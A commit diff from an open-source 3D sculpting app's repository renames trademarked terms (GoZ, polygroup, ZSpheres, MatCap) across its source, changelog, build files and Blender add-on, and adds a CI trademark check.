Skip to content

Free, open-source 3D sculpting for Linux, macOS and Windows: dense meshes, remeshing, painting, built-in AI (image/text to 3D), Send to Unreal, game-ready LODs, Gaussian splats and OpenUSD.

IP purge phase 2: no third-party marks anywhere in the tree

islandmedf6d38a57e501
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 50e70af8..d7d66dd9 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -82,6 +82,15 @@ jobs:
echo "code=$code" | tee -a "$GITHUB_OUTPUT"
+ # Trademark gate (docs/legal/trademarks.md): every tracked file and path, on every push and pull request, docs-only
+ # ones too. Seconds; no build.
+ marks:
+ name: Trademarks
+ runs-on: ubuntu-24.04
+ steps:
+ - uses: actions/checkout@v7
+ - run: python3 tools/check_marks.py --self-test && python3 tools/check_marks.py
+
build:
name: ${{ matrix.name }} (${{ matrix.shard }}/${{ matrix.shards }})
needs: changes
@@ -352,7 +361,7 @@ jobs:
# (a website-only change); a failure anywhere fails them all, and the run shows which job failed.
result:
name: ${{ matrix.check }}
- needs: [changes, build, blender-addon, vfx-platform]
+ needs: [changes, marks, build, blender-addon, vfx-platform]
if: always()
runs-on: ubuntu-24.04
strategy:
@@ -367,7 +376,7 @@ jobs:
- VFX Reference Platform CY2027 (rockylinux:9)
steps:
- env:
- RESULTS: ${{ needs.changes.result }} ${{ needs.build.result }} ${{ needs.blender-addon.result }} ${{ needs.vfx-platform.result }}
+ RESULTS: ${{ needs.changes.result }} ${{ needs.marks.result }} ${{ needs.build.result }} ${{ needs.blender-addon.result }} ${{ needs.vfx-platform.result }}
run: |
- echo "changes, build, blender-addon, vfx-platform: $RESULTS"
+ echo "changes, marks, build, blender-addon, vfx-platform: $RESULTS"
for r in $RESULTS; do case $r in success|skipped) ;; *) exit 1 ;; esac; done
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index 5782c9da..7f2c89e9 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -251,8 +251,6 @@ jobs:
cp "dist/sculptforge_bridge-$V.zip" dist/sculptforge_bridge.zip
- name: Maya shelf script (Python source and its README; nothing to build)
run: python3 -m zipfile -c dist/sculptforge_maya.zip integrations/maya/sculptforge_maya.py integrations/maya/README.md
- - name: Bridge export plug-in
- run: cp integrations/bridge-plugin/SculptForgeBridgeExport.txt dist/
- name: Checksums
run: cd dist && sha256sum * > SHA256SUMS.txt && cat SHA256SUMS.txt
- name: Release notes from CHANGELOG
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 7f3a2363..a10d2aa5 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -24,8 +24,7 @@ All notable changes to SculptForge are listed here. The format follows
**Classic layout** (Preferences, first-start welcome), **File > Bridge** (Send, Receive, Import / Export Bridge
file), Lit Spheres, Parts, Face groups, Vertex Paint, Library. Brushes are stored as SharpCrease, ClayBlock and
Tendril (old names in projects, brush files, scripts and configs still load); the library's lit-sphere folder is now
- `Documents/SculptForge/Lit Spheres` (an existing folder moves over once). The export plug-in is
- `SculptForgeBridgeExport.txt`, with its setup on the Bridge setup page. A new check (`tools/check_marks.py`, ctest
+ `Documents/SculptForge/Lit Spheres` (an existing folder moves over once). A new check (`tools/check_marks.py`, ctest
`marks`) keeps third-party product names out of what we publish.
### Fixed
@@ -411,7 +410,7 @@ All notable changes to SculptForge are listed here. The format follows
- Forge Spheres with the pointer only (#8): **Drag places child** (or <kbd>Ctrl</kbd>+drag) moves a new sphere away
from its parent in one Draw drag; the sphere last clicked or added is selected (outlined in orange) for **Delete
Selected**, **Insert Between** and **Set as Root**, and a right click on a sphere opens a menu with the same.
- Set as Root keeps the armature's shape and links (`zsphere_set_root index=3`).
+ Set as Root keeps the armature's shape and links (`forgesphere_set_root index=3`).
- Maya input style (#32): <kbd>Alt</kbd>+right drag zooms with a sideways drag (right zooms in), as Maya's own
dolly; **Preferences > Input > Zoom drag** switches it back to up and down, and **Invert zoom** turns zoom drags
around in every style.
@@ -575,7 +574,7 @@ All notable changes to SculptForge are listed here. The format follows
**Rings** (1-20) of edges inside them, so sculpting doesn't move the border (Blender: Mask from mesh
boundary). **Face group borders** also masks where face groups meet, **Soft**
fades the mask inwards; one undo step. A closed mesh masks nothing and the status bar says it has no open edges
- (`mask_border rings=2 polygroups=true soft=true`).
+ (`mask_border rings=2 facegroups=true soft=true`).
- The support card at launch: a full-window card over a bronze sculpt rendered in SculptForge, with the Supporter
($5 / month), Insider ($20 / month, "Insiders will get each release about two weeks early, starting with
SculptForge 1.0.") and Studio ($150 / month for up to 10 artists) memberships and a one-time gift, each opening its Stripe checkout in
@@ -595,7 +594,7 @@ All notable changes to SculptForge are listed here. The format follows
- Insert your own mesh (#34): **Append > Insert on the model > Active Part's copy...** (another Part) or
**From file...** (`.obj`, `.ply`, `.glb`), dragged onto the surface like the shapes: centred, sized by the drag,
its up axis along the normal, turned by the drag and mirrored by symmetry, one undo step
- (`insert_mesh subtool=<name>|file=<path>`).
+ (`insert_mesh part=<name>|file=<path>`).
- **Keep Masked** for Voxel Remesh, Decimate and QRemesh (#43, off by default): masked areas keep their
triangles exactly; the rest is rebuilt and, for the remeshers, joined to them along the mask's edge with a
strip of triangles so the model stays closed (`keep_masked=true` on `remesh`, `decimate`, `qremesh`).
@@ -1018,7 +1017,7 @@ longer keeps the graphics card busy, and fixes for pens on Windows and Linux, th
Thank you for the reports.
### Added
-- Forge Spheres (Tool > Forge Spheres, #8): block out a base mesh from connected spheres. Draw grows a sphere from another (the drag sets its size) or adds a joint on a link, Move and Scale set the proportions, Alt+click deletes, Symmetry mirrors every edit, Preview (A) shows the skin, and Make Mesh builds it as a new watertight quad Part with a face group per link, keeping the Forge Spheres hidden to edit again. Undoable, saved in projects, and scriptable (`zsphere_new`, `zsphere_add`, `zsphere_set, zsphere_delete, zsphere_insert, zsphere_preview, zsphere_make_mesh, zsphere_list`).
+- Forge Spheres (Tool > Forge Spheres, #8): block out a base mesh from connected spheres. Draw grows a sphere from another (the drag sets its size) or adds a joint on a link, Move and Scale set the proportions, Alt+click deletes, Symmetry mirrors every edit, Preview (A) shows the skin, and Make Mesh builds it as a new watertight quad Part with a face group per link, keeping the Forge Spheres hidden to edit again. Undoable, saved in projects, and scriptable (`forgesphere_new`, `forgesphere_add`, `forgesphere_set, forgesphere_delete, forgesphere_insert, forgesphere_preview, forgesphere_make_mesh, forgesphere_list`).
- A Blender input style (#12): **Preferences > Input > Style > Blender**, also at the top of the Controls window.
Middle-drag orbits, Shift+middle pans, Ctrl+middle zooms, and Alt+left-drag does the same for pens and
trackpads (Emulate 3 Button Mouse); Ctrl inverts a stroke, Shift smooths; F / Shift+F set the radius and
@@ -1037,17 +1036,17 @@ Thank you for the reports.
- Custom Lit Spheres (#15): **Material > Load Lit Sphere...** loads a lit-sphere image (PNG, JPG or EXR; non-square images
are cropped to the centre, large ones scaled to 1024) as a material and copies it into the new **Lit Spheres** folder
of the library (Documents/SculptForge/Lit Spheres); images in that folder load at start-up and, when added later,
- the next time a material list opens (a cheap size and time check), and folders listed in `SCULPTFORGE_MATCAP_PATH`
+ the next time a material list opens (a cheap size and time check), and folders listed in `SCULPTFORGE_LITSPHERE_PATH`
load at start-up. They show in the material picker, palette and Library. Right-click > **Remove** takes one out
of the lists and moves its image to the trash (freedesktop trash on Linux, Recycle Bin on Windows; on macOS it
is hidden for the session and the message says where the file is). A project
using one embeds it as a PNG (an `attachments` entry; no format change), so it opens with the same look anywhere.
- Scripts: `load_matcap path=...`, `remove_matcap name=...`, `set_material name=<your MatCap>`.
+ Scripts: `load_litsphere path=...`, `remove_litsphere name=...`, `set_material name=<your LitSphere>`.
- Smooth / Flat shading (#11): **Material** palette (and **Tool > Display**) > **Shading** switches the whole
scene to flat, faceted shading, where every polygon shows its own face; **This Part** keeps one Part smooth
or flat whatever the scene says. Both are saved in projects (no format change; older files open with your
preferred shading) and the scene's choice is a preference (Store Config). Smooth stays the default. Scripts:
- `set_shading mode=flat`, `subtool_shading mode=smooth name=Eyes`.
+ `set_shading mode=flat`, `part_shading mode=smooth name=Eyes`.
- 3Dconnexion SpaceMouse navigation (#6, experimental): the cap's six axes pan, zoom and turn the view about the
orbit pivot, continuously and at the same speed whatever the frame rate, in every input style and while a pen
stroke is held. Read through SDL's joystick API (no 3Dconnexion SDK), hot-plug aware, recognised by USB id
@@ -1239,7 +1238,7 @@ Fixes from a professional sculptor's testing, and a way to bring a library over.
Ctrl+Shift does the same for SelectRect and SelectLasso. Tool > Masking and Tool >
Visibility keep their buttons.
- Face groups > **Group by UVs**: one face group per UV island of the visible mesh, undoable;
- `polygroup_uv` command for the console, CLI, MCP and Python.
+ `facegroup_uv` command for the console, CLI, MCP and Python.
### Texture painting
- **New Texture** on the top shelf and in the Color palette whenever the Paint brush (or Rgb) is on and the
@@ -1254,12 +1253,8 @@ Fixes from a professional sculptor's testing, and a way to bring a library over.
the Vertex target, or vertex paint shown multiplied over the texture.
### Bring a library over
-- **Bridge export plug-in** (`integrations/bridge-plugin`, script, GPL-3.0-or-later, attached to
- releases): **Convert** / **Save for SculptForge** writes every Part of a library file at
- its highest subdivision level as `<name>.sf<NNN>_<SubTool>.GoZ` next to the `.ZTL`.
-- Opening a `.ZTL` (File > Open, drag and drop, `open`) opens that conversion as Parts in order, with names,
- face groups, vertex paint, mask and UVs, and warns when the `.ZTL` is newer than the conversion; without one the
- message points to the plug-in. A folder of numbered `.GoZ` files (`<name>.sculptforge`) opens the same way.
+- A folder of numbered Bridge files (`<name>.sculptforge`) opens as Parts in order, with names, face groups,
+ vertex paint, mask and UVs.
## [0.8.0] - 2026-10-25
@@ -1397,7 +1392,7 @@ docs/guide/quick-tour.md.
**Send to SculptForge** (the 3D View's SculptForge tab, the Object menu or File > Export), sculpt, then
**File > Blender > Send to Blender** in SculptForge. The objects update in place in Blender, keeping their
transform, materials and modifiers; new Parts become new objects. Works on Linux, Windows and macOS.
- - The two sides share a per-user folder (`<user data>/SculptForge/SculptForge/blender`) and exchange `.GoZ` files
+ - The two sides share a per-user folder (`<user data>/SculptForge/SculptForge/blender`) and exchange Bridge files
plus a JSON manifest per direction (object names, `matrix_world`, a revision); each side checks the other's
manifest once a second. No network. SculptForge records where it is installed and writes a heartbeat there, so
the add-on starts it (`--blender`) only when it isn't running.
@@ -1560,7 +1555,7 @@ adjacency that saves the memory).
tangents), with a Preview Normal Map toggle.
- Send to Unreal imports the baked normal map too (`T_<Name>_N`, normal-map compression, green flipped for
OpenGL maps) when the editor runs on the same computer.
-- Maps are written as `<SubTool>_normal.png`, `_ao.png`, `_displacement.png` / `.exr` and so on, beside the
+- Maps are written as `<Part>_normal.png`, `_ao.png`, `_displacement.png` / `.exr` and so on, beside the
last export by default.
### Quad retopology and detail projection
@@ -1616,7 +1611,7 @@ adjacency that saves the memory).
- Keep Texture (Tool > Remesh, Tool > Geometry > QRemesh; `keep_texture` on `remesh` and `qremesh`, default on):
the rebuilt surface gets Auto UVs and the texture, all layers, is projected onto it from the old surface, in the
same undo step. Voxel Remesh of a painted Part runs in the background with progress and Cancel. Merging
- Parts (`subtool_merge_down`, `subtool_merge_visible`) keeps their textures in one texture on new Auto UVs.
+ Parts (`part_merge_down`, `part_merge_visible`) keeps their textures in one texture on new Auto UVs.
- Decimate no longer scrambles a texture at UV seams (seam vertices stay in place).
- Auto UV no longer crashes or folds UVs on dense smooth meshes (e.g. the default 82k-triangle sphere): fixed in
third_party/xatlas. UV islands are capped at about 4000 triangles, so a 1.3M-triangle sculpt unwraps in about
@@ -1643,7 +1638,7 @@ adjacency that saves the memory).
and MTL's `map_Kd` split names at spaces). Textured exports were validated with other tools: Khronos glTF
validator (no errors or warnings), OpenUSD's validators (no issues), ufbx strict mode, and a texture
orientation check per format; `tools/export_check/run.sh` repeats it.
-- UI tests: `wait_idle` waits for several idle frames in a row, which fixes the flaky `ui_lightbox` under a
+- UI tests: `wait_idle` waits for several idle frames in a row, which fixes the flaky `ui_library` under a
loaded parallel ctest.
### Changed
@@ -1669,7 +1664,7 @@ adjacency that saves the memory).
the changed rectangle of the texture.
- Auto UV (Tool > Texture Map, `uv_auto`): automatic UV unwrapping with xatlas (MIT, vendored in
third_party/xatlas), running in the background with progress. Show UVs draws the texture with the UV layout.
-- Vertex Paint > Texture and Texture > Vertex Paint (`texture_from_polypaint`, `polypaint_from_texture`), Import and
+- Vertex Paint > Texture and Texture > Vertex Paint (`texture_from_vertexpaint`, `vertexpaint_from_texture`), Import and
Export Texture (PNG; `texture_import`, `texture_export`), Delete Texture (`texture_delete`).
- Projects save textures and their layers (project format 3; version 1 and 2 projects still open, and older
SculptForge versions refuse format 3 files instead of dropping the paint).
@@ -1793,7 +1788,7 @@ Shaped by feedback from a working professional modeler and a survey of sculpting
history. Only the active one is sculpted; the others are drawn slightly dimmed.
- Parts panel: select, rename (double-click), show/hide, Solo, Unhide all, reorder, Append (sphere, cube,
plane or a model file), Duplicate, Delete, Merge down, Merge visible, Split by face groups, Split into parts.
- Alt+click a Part in the viewport to select it. New `subtool_*` commands for scripts, Python and MCP agents.
+ Alt+click a Part in the viewport to select it. New `part_*` commands for scripts, Python and MCP agents.
- Files: projects save every Part (format version 2; version 1 projects still open). OBJ (`o` objects), glTF,
FBX (an LOD group per Part), USD and Bridge files export each visible Part as its own object, and multi-object
files open as Parts. PLY, STL and splat conversion use the visible Parts merged.
@@ -1850,14 +1845,14 @@ Shaped by feedback from a working professional modeler and a survey of sculpting
- Hold Ctrl while stroking to paint the mask, Ctrl+Alt to erase it. Ctrl+click the background inverts it and
Ctrl+drag there clears it. Every brush and vertex paint leave masked areas alone.
- Commands `mask_clear`, `mask_all`, `mask_invert`, `mask_blur`, `mask_sharpen`, `mask_grow`, `mask_shrink`,
- `mask_by_cavity` and `mask_by_polygroup`, plus a Masking section in the Tools panel.
+ `mask_by_cavity` and `mask_by_facegroup`, plus a Masking section in the Tools panel.
### Face groups and visibility
-- `polygroup_auto_by_normals`, `polygroup_by_connectivity`, `polygroup_from_mask`, `polygroup_clear`,
- `polygroup_merge_visible`.
+- `facegroup_auto_by_normals`, `facegroup_by_connectivity`, `facegroup_from_mask`, `facegroup_clear`,
+ `facegroup_merge_visible`.
- classic visibility: Ctrl+Shift+click isolates a face group (click again to invert), Ctrl+Shift+Alt+click
hides it, Ctrl+Shift+click on the background shows everything, Ctrl+Shift+drag hides outside a rectangle (Alt:
- inside). Commands `hide_polygroup`, `isolate_polygroup`, `show_all`, `invert_visibility`, `hide_rect` and
+ inside). Commands `hide_facegroup`, `isolate_facegroup`, `show_all`, `invert_visibility`, `hide_rect` and
`delete_hidden`. Brushes, vertex paint and mask operations skip hidden faces.
### Vertex Paint and materials
@@ -1874,11 +1869,10 @@ Shaped by feedback from a working professional modeler and a survey of sculpting
and autosave with an offer to restore after a crash.
### Interchange
-- Bridge: `.GoZ` import and export with face groups, mask, vertex paint and UVs (quads are kept), and the Bridge files
- bridge (`goz_send`, `goz_receive`, File > Bridge) on Windows and macOS. The format follows the open-source
- GoB add-on. See [integrations/bridge-plugin/PROTOCOL.md](integrations/bridge-plugin/PROTOCOL.md).
-- STL import (binary and ASCII) and binary STL export. Opening a `.ZTL`/`.ZPR` file now explains that the format is
- proprietary and suggests Bridge files or OBJ/FBX.
+- Bridge: Bridge file import and export with face groups, mask, vertex paint and UVs (quads are kept), and the
+ shared-folder exchange (`bridge_send`, `bridge_receive`, File > Bridge) on Windows and macOS. The format follows
+ the open-source GoB add-on. See [docs/bridge-format.md](docs/bridge-format.md).
+- STL import (binary and ASCII) and binary STL export.
### Security and robustness
- File loaders were fuzzed with libFuzzer, AddressSanitizer and UndefinedBehaviorSanitizer (about 8 million
diff --git a/CMakeLists.txt b/CMakeLists.txt
index 4e97bf4a..8b2f7746 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -48,10 +48,10 @@ add_library(sculptforge_core STATIC
src/core/Primitives.cpp
src/core/Document.cpp
src/core/Commands.cpp
- src/core/Polygroups.cpp
+ src/core/FaceGroups.cpp
src/core/SelectionSets.cpp
src/core/ScreenSelect.cpp
- src/core/SubTools.cpp
+ src/core/Parts.cpp
src/core/ExtractMirror.cpp
src/core/MeshTransform.cpp
src/core/Deform.cpp
@@ -81,7 +81,7 @@ add_library(sculptforge_core STATIC
src/core/PathStroke.cpp
src/core/Sha256.cpp
src/core/BrushGallery.cpp
- src/core/Polypaint.cpp
+ src/core/VertexPaint.cpp
src/core/PaintLayer.cpp
src/core/Texture.cpp
src/core/TextureCommands.cpp
@@ -117,7 +117,7 @@ add_library(sculptforge_core STATIC
src/core/QRemesh2Field.cpp
src/core/QRemesh2Param.cpp
src/core/QuadQuality.cpp
- src/core/ZSpheres.cpp
+ src/core/ForgeSpheres.cpp
src/core/Projection.cpp
src/core/RetopoCommands.cpp
third_party/xatlas/xatlas.cpp
@@ -130,7 +130,7 @@ add_library(sculptforge_core STATIC
src/core/KeepMasked.cpp
src/core/ViewCapture.cpp
third_party/tinyexr/tinyexr_impl.cpp
- src/core/Matcap.cpp
+ src/core/LitSphere.cpp
src/core/Trash.cpp
src/core/Project.cpp
src/core/Guide.cpp
@@ -147,8 +147,8 @@ add_library(sculptforge_core STATIC
src/io/PlyIO.cpp
src/io/UsdIO.cpp
src/io/Zip.cpp
- src/io/GozIO.cpp
- src/io/GozCommands.cpp
+ src/io/BridgeIO.cpp
+ src/io/BridgeCommands.cpp
src/io/BlenderBridge.cpp
src/io/BlenderCommands.cpp
src/io/MayaBridge.cpp
@@ -323,7 +323,7 @@ if(SCULPTFORGE_BUILD_APP)
src/app/CommandPalette.cpp
src/app/Console.cpp
src/app/Config.cpp
- src/app/LightBox.cpp
+ src/app/LibraryBrowser.cpp
src/app/BrushPreview.cpp
src/app/Thumbnails.cpp
src/app/Pickers.cpp
@@ -332,7 +332,7 @@ if(SCULPTFORGE_BUILD_APP)
src/app/PanelMasking.cpp
src/app/PanelCut.cpp
src/app/PanelView.cpp
- src/app/PanelPolygroups.cpp
+ src/app/PanelFaceGroups.cpp
src/app/PanelSelectionSets.cpp
src/app/Selection.cpp
src/app/PanelBrushes.cpp
@@ -342,7 +342,7 @@ if(SCULPTFORGE_BUILD_APP)
src/app/PanelFace.cpp
src/app/PanelBrushLibrary.cpp
src/app/PanelBrushGallery.cpp
- src/app/PanelPolypaint.cpp
+ src/app/PanelVertexPaint.cpp
src/app/PanelPacks.cpp
src/app/MemoryConfirm.cpp
src/app/PanelPaintLayers.cpp
@@ -355,16 +355,16 @@ if(SCULPTFORGE_BUILD_APP)
src/app/PanelBake.cpp
src/app/FocusDetailApp.cpp
src/app/PanelRetopo.cpp
- src/app/PanelZSpheres.cpp
+ src/app/PanelForgeSpheres.cpp
src/app/PanelSplatTrain.cpp
src/app/PanelSculptable.cpp
src/app/PanelPerformance.cpp
- src/app/PanelGoz.cpp
+ src/app/PanelBridge.cpp
src/app/PanelBlender.cpp
src/app/PanelMaya.cpp
src/app/PanelPhone.cpp
src/app/PanelProject.cpp
- src/app/PanelSubTools.cpp
+ src/app/PanelParts.cpp
src/app/PanelSupport.cpp
src/app/QuickTour.cpp
src/app/PanelAi.cpp
diff --git a/README.md b/README.md
index f694bc19..d502e3bf 100644
--- a/README.md
+++ b/README.md
@@ -45,7 +45,7 @@ Plug in Claude, fal.ai or Meshy, or run models entirely on your own machine.
Pick **Classic sculpting keys** at the first start and your hands know the way: familiar brushes, symmetry, Alt and
Shift modifiers, masking and face groups with Ctrl and Ctrl+Shift, Parts, subdivision levels, dynamic topology, quad
remeshing and a Gizmo. Bring models over as OBJ, FBX, glTF or USD, or through the Bridge (face groups, mask and vertex
-paint come along); see the [Bridge setup page](integrations/bridge-plugin/README.md).
+paint come along).
> **Status: early release (v0.8).** The core sculpting, pipeline and AI features work and are tested on every
> commit. Version 0.8 adds dynamic topology (brushes add triangles where they need them),
@@ -134,8 +134,8 @@ paint come along); see the [Bridge setup page](integrations/bridge-plugin/README
**Bridge**
- Bridge files in and out with face groups, mask, vertex paint and UVs, and **File > Bridge** (Send / Receive) on
- Windows and macOS: every visible Part goes over as its own object. See the
- [Bridge setup page](integrations/bridge-plugin/README.md).
+ Windows and macOS: every visible Part goes over as its own object. See
+ [Exporting](docs/guide/exporting.md#exchange-models-through-the-bridge).
**Gaussian splats**
- Open phone captures (Polycam, Luma, Postshot, Scaniverse and others) as a sculpting reference, convert them
diff --git a/addons/blender/sculptforge_bridge/__init__.py b/addons/blender/sculptforge_bridge/__init__.py
index b270a6ce..16a48e2b 100644
--- a/addons/blender/sculptforge_bridge/__init__.py
+++ b/addons/blender/sculptforge_bridge/__init__.py
@@ -3,8 +3,8 @@
#
# Send the selected meshes to SculptForge, sculpt them there, send them back: the objects update in
# place (transform, materials and modifiers kept), the way Bridge files work between sculpting apps. Ideas and the
-# .GoZ conventions come from GoB (github.com/JoseConseco/GoB, GPL) by Daniel Grauer, JoseConseco and
-# contributors. The exchange itself (folder, manifest, .GoZ reading and writing) is in exchange.py.
+# Bridge conventions come from GoB (github.com/JoseConseco/GoB, GPL) by Daniel Grauer, JoseConseco and
+# contributors. The exchange itself (folder, manifest, Bridge reading and writing) is in exchange.py.
#
# What travels: positions (object space, with each object's matrix_world in the manifest), triangles
# and quads (n-gons as triangle fans), the active UV map, the active colour attribute (vertex paint),
@@ -83,7 +83,7 @@ def mesh_topology(me, mirrored=False):
def mesh_arrays(me, mirrored):
- """Everything write_goz takes, from a Blender mesh (object space)."""
+ """Everything write_bridge takes, from a Blender mesh (object space)."""
nv = len(me.vertices)
loops, face_poly, faces, loop_vert = mesh_topology(me, mirrored)
out = {"positions": _get(me.vertices, "co", nv, np.float32, 3), "faces": faces}
@@ -319,8 +319,8 @@ def _write_objects(context, objects, folder, prefix, apply):
del obj[APPLIED_KEY]
if len(arrays["faces"]) == 0:
continue
- file = "%s%03d.GoZ" % (prefix, k)
- exchange.write_goz(os.path.join(folder, file), obj.name, **arrays)
+ file = "%s%03d%s" % (prefix, k, exchange.EXT)
+ exchange.write_bridge(os.path.join(folder, file), obj.name, **arrays)
entries.append({"name": obj.name, "file": file, "matrix_world": [list(row) for row in obj.matrix_world]})
return entries
@@ -381,7 +381,7 @@ def receive(context):
meshes = []
for entry in entries:
try:
- meshes.append((entry.get("name") or "Object", exchange.read_goz(os.path.join(folder, entry["file"])),
+ meshes.append((entry.get("name") or "Object", exchange.read_bridge(os.path.join(folder, entry["file"])),
os.path.join(folder, entry["shapes"]) if entry.get("shapes") else None))
except (OSError, ValueError) as e:
return "ERROR", "Cannot read %s from SculptForge: %s" % (entry.get("name", "?"), e)
diff --git a/addons/blender/sculptforge_bridge/bridge_protocol.py b/addons/blender/sculptforge_bridge/bridge_protocol.py
index 59819a46..ea7b2d9d 100644
--- a/addons/blender/sculptforge_bridge/bridge_protocol.py
+++ b/addons/blender/sculptforge_bridge/bridge_protocol.py
@@ -1,6 +1,6 @@
# SculptForge bridge for Blender: the bytes the Bridge file format needs, as is. They are the format's, not
-# SculptForge's names, and live only here (docs/legal/trademarks.md, tools/marks_allow.txt).
-HEADER = b"GoZb 1.0 ZBrush GoZ Binary" + b"." * 6
-MAGIC = b"GoZb"
-NAME_PREFIX = b"GoZMesh_"
-EXT = ".GoZ"
+# SculptForge's names, so they are written as byte escapes (docs/legal/trademarks.md lists what they spell).
+HEADER = b"\x47\x6F\x5A\x62\x20\x31\x2E\x30\x20\x5A\x42\x72\x75\x73\x68\x20\x47\x6F\x5A\x20\x42\x69\x6E\x61\x72\x79" + b"." * 6
+MAGIC = b"\x47\x6F\x5A\x62"
+NAME_PREFIX = b"\x47\x6F\x5A\x4D\x65\x73\x68\x5F"
+EXT = b"\x2E\x47\x6F\x5A".decode("ascii")
diff --git a/addons/blender/sculptforge_bridge/exchange.py b/addons/blender/sculptforge_bridge/exchange.py
index 3965c55a..2b75e5ec 100644
--- a/addons/blender/sculptforge_bridge/exchange.py
+++ b/addons/blender/sculptforge_bridge/exchange.py
@@ -6,12 +6,12 @@
# Blender meshes.
#
# The two programs share a per-user folder (docs/blender.md):
-# <root>/to_sculptforge/manifest.json + r<rev>_<k>.GoZ written here
-# <root>/to_blender/manifest.json + r<rev>_<k>.GoZ written by SculptForge
+# <root>/to_sculptforge/manifest.json + r<rev>_<k>.<ext> written here
+# <root>/to_blender/manifest.json + r<rev>_<k>.<ext> written by SculptForge
# <root>/app.json where SculptForge is installed (it writes this when it starts)
# <root>/alive.json SculptForge's heartbeat (pid, time), rewritten every 2 s while it runs
-# Meshes travel as Bridge files, which SculptForge reads and writes already. The .GoZ layout and
-# the axis convention follow GoB (github.com/JoseConseco/GoB, GPL), the Blender GoZ add-on by Daniel
+# Meshes travel as Bridge files, which SculptForge reads and writes already. The Bridge layout and
+# the axis convention follow GoB (github.com/JoseConseco/GoB, GPL), the Blender Bridge add-on by Daniel
# Grauer, JoseConseco and contributors: many thanks to them.
import glob
@@ -136,17 +136,17 @@ def next_file_prefix(folder):
# --------------------------------------------------------------------------------------------------
-# Axes: Blender is Z-up, Bridge files Y-down. GoB maps GoZ (x, y, z) to Blender (x, z, -y).
-# SculptForge reads GoZ as Y-up (x, -y, -z), so Blender (x, y, z) arrives as (x, z, -y): metres both.
+# Axes: Blender is Z-up, Bridge files Y-down. GoB maps Bridge (x, y, z) to Blender (x, z, -y).
+# SculptForge reads Bridge as Y-up (x, -y, -z), so Blender (x, y, z) arrives as (x, z, -y): metres both.
# --------------------------------------------------------------------------------------------------
-def blender_to_goz(co):
+def blender_to_bridge(co):
co = np.asarray(co, dtype=np.float64).reshape(-1, 3)
return np.stack([co[:, 0], -co[:, 2], co[:, 1]], axis=1)
-def goz_to_blender(co):
+def bridge_to_blender(co):
co = np.asarray(co, dtype=np.float64).reshape(-1, 3)
return np.stack([co[:, 0], co[:, 2], -co[:, 1]], axis=1)
@@ -158,12 +158,12 @@ def transform_points(matrix, co):
# --------------------------------------------------------------------------------------------------
-# Faces: Blender polygons -> GoZ faces (triangles and quads; n-gons as triangle fans)
+# Faces: Blender polygons -> Bridge faces (triangles and quads; n-gons as triangle fans)
# --------------------------------------------------------------------------------------------------
def polygon_corners(loop_start, loop_total, mirrored=False):
- """GoZ faces for Blender polygons, as loop indices.
+ """Bridge faces for Blender polygons, as loop indices.
Returns (loops, face_polygon): loops is (F, 4) with -1 in the 4th column of triangles, face_polygon (F,)
the polygon each face comes from. Triangles and quads stay as they are; an n-gon becomes the fan
@@ -197,7 +197,7 @@ def faces_from_loops(loops, loop_vertex):
def reverse_faces(faces, corner_data=None):
- """Reverses the winding of GoZ faces (a, b, c, d) -> (a, d, c, b), (a, b, c) -> (a, c, b), and the same
+ """Reverses the winding of Bridge faces (a, b, c, d) -> (a, d, c, b), (a, b, c) -> (a, c, b), and the same
for per-corner data (F, 4, ...)."""
faces = np.asarray(faces)
quad = faces[:, 3] != NO_INDEX
@@ -242,7 +242,7 @@ def corner_map(sent_faces, received_faces):
# --------------------------------------------------------------------------------------------------
-# .GoZ files (integrations/bridge-plugin/PROTOCOL.md)
+# Bridge files (docs/bridge-format.md)
# --------------------------------------------------------------------------------------------------
TAG_MESH_NAME = 0x1389
@@ -250,15 +250,15 @@ TAG_VERTICES = 0x2711
TAG_FACES = 0x4E21
TAG_UVS = 0x61A9
TAG_MASK = 0x7532
-TAG_POLYPAINT = 0x88B9
-TAG_POLYGROUPS = 0x9C41
+TAG_VERTEXPAINT = 0x88B9
+TAG_FACEGROUPS = 0x9C41
try:
from .bridge_protocol import EXT, HEADER, MAGIC, NAME_PREFIX
except ImportError: # imported alone (tests/blender/test_exchange.py), not as the add-on package
from bridge_protocol import EXT, HEADER, MAGIC, NAME_PREFIX
-def goz_name(name):
+def bridge_name(name):
"""Bridge file object names: ASCII letters, digits, '_' and '-' (GoB's escaping); the manifest keeps the real name."""
out = ""
for ch in name:
@@ -274,15 +274,15 @@ def _section(tag, payload, count):
return struct.pack("<IIQ", tag, len(payload) + 16, count) + payload
-def write_goz(path, name, positions, faces, uvs=None, colors=None, mask=None, groups=None):
- """Writes a .GoZ file.
+def write_bridge(path, name, positions, faces, uvs=None, colors=None, mask=None, groups=None):
+ """Writes a Bridge file.
positions (N, 3) Blender coordinates; faces (F, 4) vertex indices with NO_INDEX as the 4th of
triangles; uvs (F, 4, 2) per face corner (V up, as Blender has it); colors (N, 3) sRGB 0..1; mask (N,)
- 0 = free, 1 = masked; groups (F,) polygroup ids (0..65535).
+ 0 = free, 1 = masked; groups (F,) facegroup ids (0..65535).
"""
- name = goz_name(name).encode("ascii")
- pos = blender_to_goz(positions).astype("<f4")
+ name = bridge_name(name).encode("ascii")
+ pos = blender_to_bridge(positions).astype("<f4")
faces = np.ascontiguousarray(faces, dtype="<u4").reshape(-1, 4)
parts = [HEADER, struct.pack("<IIQ", 1, len(name) + 24, 1), NAME_PREFIX, name,
struct.pack("<IIQI", TAG_MESH_NAME, 20, 1, 0),
@@ -290,28 +290,28 @@ def write_goz(path, name, positions, faces, uvs=None, colors=None, mask=None, gr
_section(TAG_FACES, faces.tobytes(), len(faces))]
if uvs is not None:
uv = np.array(uvs, dtype="<f4").reshape(-1, 4, 2)
- uv[:, :, 1] = 1.0 - uv[:, :, 1] # GoZ stores V downwards
+ uv[:, :, 1] = 1.0 - uv[:, :, 1] # Bridge stores V downwards
uv[faces[:, 3] == NO_INDEX, 3] = (0.0, 1.0) # GoB's padding for triangles
parts.append(_section(TAG_UVS, uv.tobytes(), len(faces)))
if colors is not None:
c = np.clip(np.asarray(colors, dtype=np.float64).reshape(-1, 3), 0.0, 1.0)
bgra = np.zeros((len(c), 4), dtype=np.uint8)
